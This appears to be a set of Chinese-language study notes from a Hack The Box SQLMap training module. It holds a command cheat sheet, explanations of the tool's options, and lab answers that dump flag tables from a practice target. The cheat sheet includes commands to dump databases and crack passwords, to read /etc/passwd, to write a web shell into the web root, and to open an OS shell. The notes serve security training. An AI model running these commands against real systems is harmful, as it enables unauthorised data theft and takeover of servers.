GET/POST Requests

在最常见的场景中，GET参数使用选项-u/-url提供，如前一个示例所示。对于测试POST数据，可以使用–data标志，如下所示：

备忘单

备忘单是此模块的有用命令参考。

命令	描述
sqlmap -h	查看基本帮助菜单
sqlmap -hh	查看高级帮助菜单
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch	在不要求用户输入的情况下运行SQLMap
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'	SQLMap带有开机自检请求
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'	指定带星号的注入点的 POST 请求
sqlmap -r req.txt	将 HTTP 请求文件传递给SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'	指定 Cookie 标头
sqlmap -u www.target.com --data='id=1' --method PUT	指定 PUT 请求
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt	将流量存储到输出文件
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch	指定详细级别
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"	指定前缀或后缀
sqlmap -u www.example.com/?id=1 -v 3 --level=5	指定级别和风险
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba	基本数据库枚举
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb	表枚举
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname	表/行枚举
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"	条件枚举
sqlmap -u "http://www.example.com/?id=1" --schema	数据库架构枚举
sqlmap -u "http://www.example.com/?id=1" --search -T user	搜索数据
sqlmap -u "http://www.example.com/?id=1" --passwords --batch	密码枚举和破解
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"	反 CSRF 令牌绕过
sqlmap --list-tampers	列出所有篡改脚本
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba	检查 DBA 权限
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"	读取本地文件
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"	写入文件
sqlmap -u "http://www.example.com/?id=1" --os-shell	生成操作系统外壳

Tanin@htb[/htb]$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

在这种情况下，POST参数uid和name将针对SQLi漏洞进行测试。例如，如果我们有一个明确的指示，表明参数uid容易出现SQLi漏洞，我们可以使用-p uid将测试范围缩小到仅此参数。否则，我们可以使用特殊标记*在提供的数据中进行标记，如下所示：

Tanin@htb[/htb]$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

如果我们需要指定一个复杂的HTTP请求，该请求具有许多不同的头值和一个细长的POST主体，我们可以使用-r标志。有了这个选项，SQLMap就有了“请求文件”，将整个HTTP请求包含在一个文本文件中。在一种常见的场景中，可以从专用代理应用程序（例如Burp）中捕获此类HTTP请求，并将其写入请求文件。

提示：与’–data’选项类似，在保存的请求文件中，我们可以用星号（*）指定要注入的参数，例如’/？id=*’。

如果我们想指定一种替代HTTP方法，而不是GET和POST（例如PUT），我们可以使用选项–method，如下所示：

Tanin@htb[/htb]$ sqlmap -u www.target.com --data='id=1' --method PUT

Custom HTTP Requests

除了最常见的表单数据POST主体样式（例如id=1）外，SQLMap还支持JSON格式（例如｛“id”:1｝）和XML格式（例如1）的HTTP请求。 对这些格式的支持是以一种“宽松”的方式实现的；因此，对于参数值如何存储在内部没有严格的约束。如果POST正文相对简单而简短，那么选项–data就足够了。 但是，在POST主体复杂或较长的情况下，我们可以再次使用-r选项

practice

target:94.237.62.6:35238

What’s the contents of table flag2? (Case #2 POST parameter)

sqlmap -u http://94.237.62.6:35238/case2.php --data='id=*' --batch --dump

What’s the contents of table flag3? (Case #3 Cookie value)

sqlmap -u http://94.237.62.6:35238/case2.php  --cookie='id=*' --batch --dump

这里要注意请求方式变成了get，以及cookie里的参数后面要加一个*不然会显示没有提供参数,（应该相当于在*位置FUZZ所以是否保留参数需要考虑）。

What’s the contents of table flag4? (Case #4 JSON value)

这里抓包之后发现json是附在请求末尾：

那么应该不用每次都抓包也能写出一个payload文档

sqlmap -r test.txt -p id --batch --dump -D testdb -T flag4

按照示例给的跑实在太慢了动辄十来分钟(后一节的内容都看完了)，还是稍微手工一下，指定更多的参数去找flag

Handling SQLMap Errors

Display Errors

第一步通常是切换–parse-errors，解析DBMS错误（如果有的话），并将其显示为程序运行的一部分：

...SNIP...
[16:09:20] [INFO] testing if GET parameter 'id' is dynamic
[16:09:20] [INFO] GET parameter 'id' appears to be dynamic
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'"
[16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1'
...SNIP...

Store the Traffic

-t选项将整个流量内容存储到一个输出文件中：

Tanin@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

正如我们从上面的输出中看到的，/tmp/traffic.txt文件现在包含所有发送和接收的HTTP请求。因此，我们现在可以手动调查这些请求，看看问题发生在哪里。

Verbose Output

另一个有用的标志是-v选项，它提高了控制台输出的详细程度：

Tanin@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch

Using Proxy

最后，我们可以使用–proxy选项通过（MiTM）代理（例如Burp）重定向整个流量。这将通过Burp路由所有SQLMap流量，以便我们稍后可以手动调查所有请求，重复它们，并利用Burp的所有功能处理这些请求

Attack Tuning

在大多数情况下，SQLMap应该随提供的目标详细信息一起开箱即用。尽管如此，仍有一些选项可以微调SQLi注入尝试，以帮助SQLMap进入检测阶段。发送到目标的每个有效载荷包括： vector（例如，UNION ALL SELECT 1,2，VERSION（））：有效负载的中心部分，承载要在目标上执行的有用SQL代码。 边界（例如<vector>-- - ）：前缀和后缀形式，用于将向量正确注入易受攻击的SQL语句。

Prefix/Suffix

在极少数情况下，需要特殊的前缀和后缀值，常规SQLMap运行不包括这些值。 对于这样的运行，选项–prefix和–suffix可以按如下方式使用：

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

Level/Risk

默认情况下，SQLMap结合了一组预定义的最常见的边界（即前缀/后缀对），以及在易受攻击的目标情况下成功几率很高的向量。尽管如此，用户还是有可能使用更大的边界和向量集，这些边界和向量已经合并到SQLMap中。 对于此类需求，应使用选项–级别和–风险： 选项–level（1-5，默认为1）根据成功的预期（即，预期越低，级别越高）扩展了所使用的向量和边界。 选项–risk（1-3，默认值1）根据在目标端造成问题的风险（即数据库条目丢失或拒绝服务的风险）扩展所使用的向量集。 对于不同的–level和–risk值，检查使用的边界和有效载荷之间的差异的最佳方法是使用-v选项来设置详细级别。在详细程度3或更高（例如-v 3）中，将显示包含所用[PAYLOAD]的消息

Advanced Tuning

Status Codes

例如，当处理具有大量动态内容的巨大目标响应时，TRUE和FALSE响应之间的细微差异可以用于检测目的。如果在HTTP代码中可以看到TRUE和FALSE响应之间的差异（例如，TRUE为200，FALSE为500），则选项–code可以用于将TRUE响应的检测固定到特定的HTTP代码（例如–code=200）。

Titles

如果通过检查HTTP页面标题可以看到响应之间的差异，则开关–title可以用于指示检测机制基于HTML标记